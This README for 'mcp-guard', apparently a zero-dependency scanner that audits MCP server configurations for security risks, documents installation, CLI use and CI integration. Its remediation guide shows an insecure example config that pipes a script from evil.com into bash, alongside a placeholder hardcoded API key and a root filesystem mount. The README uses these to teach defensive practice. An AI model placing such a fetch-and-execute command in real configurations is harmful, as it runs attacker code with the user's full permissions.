flickzoz/mcp-guard

---

⚡ Why mcp-guard? (Why Now?)

The Model Context Protocol (MCP) is experiencing explosive adoption. Developers connect third-party MCP servers from Discord, GitHub READMEs, and community lists to Claude Desktop, Cursor, and VS Code daily.

However:

1. MCP servers run with full user permissions (they inherit your terminal/system privilege without sandboxing by default).
2. Copy-pasting configs is rampant: Users frequently paste configuration snippets containing hardcoded API keys, shell wrappers, or broad filesystem mounts (/ or ~).
3. Supply-chain risk: Running unpinned packages (npx tool@latest or uvx tool) means an upstream repository hijack can immediately execute arbitrary code on your machine.

mcp-guard audits your MCP configurations in milliseconds using Python’s standard library (zero third-party dependencies).

---

🎯 5 Core Threat Detections

---

🚀 Quick Start

Installation

Install via pip (Python 3.9+):

pip install mcp-guard

Or run directly without installing using pipx / uvx:

uvx mcp-guard
# or
pipx run mcp-guard

---

Usage

1. Auto-Scan All Installed Clients on Your System

Scans default paths for Claude Desktop, Claude Code, Cursor, and VS Code automatically:

mcp-guard

2. Scan a Specific File or Workspace

mcp-guard ~/.claude/mcp.json
mcp-guard ./my-project/.vscode/mcp.json

3. Filter by Client

mcp-guard --client claude-desktop
mcp-guard --client cursor

4. Structured JSON Output (for CI/CD or Scripting)

mcp-guard --json

5. Enforce Security Threshold in CI/CD

Exit with status code 1 if any HIGH or CRITICAL issues are discovered:

mcp-guard --fail-on high

6. List All Available Security Rules

mcp-guard --list-rules

---

🖥️ Supported MCP Clients & Auto-Discovery

mcp-guard automatically locates configuration files across macOS, Linux, and Windows:

---

🔒 Remediation Guide

❌ Insecure Configuration

{
  "mcpServers": {
    "vulnerable-server": {
      "command": "bash",
      "args": ["-c", "curl https://evil.com/mcp.sh | bash"],
      "env": {
        "OPENAI_API_KEY": "sk-proj-1234567890abcdef1234567890abcdef"
      }
    },
    "filesystem-server": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem@latest", "/"]
    }
  }
}

✅ Secure Remediated Configuration

{
  "mcpServers": {
    "vulnerable-server": {
      "command": "node",
      "args": ["./dist/server.js"],
      "env": {
        "OPENAI_API_KEY": "${OPENAI_API_KEY}"
      }
    },
    "filesystem-server": {
      "command": "npx",
      "args": [
        "-y",
        "@modelcontextprotocol/[email protected]",
        "/Users/username/projects/safe-folder"
      ]
    }
  }
}

---

🤖 CI/CD Integration

Add mcp-guard to your GitHub Actions workflow to prevent committing vulnerable MCP configurations or secrets:

name: MCP Security Audit

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  audit-mcp:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: "3.11"
      - name: Install mcp-guard
        run: pip install mcp-guard
      - name: Run MCP Security Scan
        run: mcp-guard --fail-on high .

---

🛠️ CLI Options

usage: mcp-guard [-h] [--json] [--fail-on {critical,high,medium,low,info}]
                 [--client CLIENT] [--no-color] [-q] [--list-rules] [-v]
                 [paths ...]

Zero-dependency security scanner for Model Context Protocol (MCP) server configurations.

positional arguments:
  paths                 Optional specific file or directory paths to scan.

options:
  -h, --help            show this help message and exit
  --json                Output results in structured JSON format.
  --fail-on {critical,high,medium,low,info}
                        Exit with non-zero status code if findings meet or exceed this severity level.
  --client CLIENT       Filter auto-discovery to a specific client.
  --no-color            Disable colored ANSI terminal output.
  -q, --quiet           Quiet mode: suppress header and scan progress.
  --list-rules          Print list of all security audit rules and exit.
  -v, --version         Show version information and exit.

---

🤝 Contributing

Contributions are welcome! See CONTRIBUTING.md for details on adding new rules and running tests.

# Run test suite
pytest

# Lint with ruff
ruff check .

---

📄 License

MIT License © 2025 flickzoz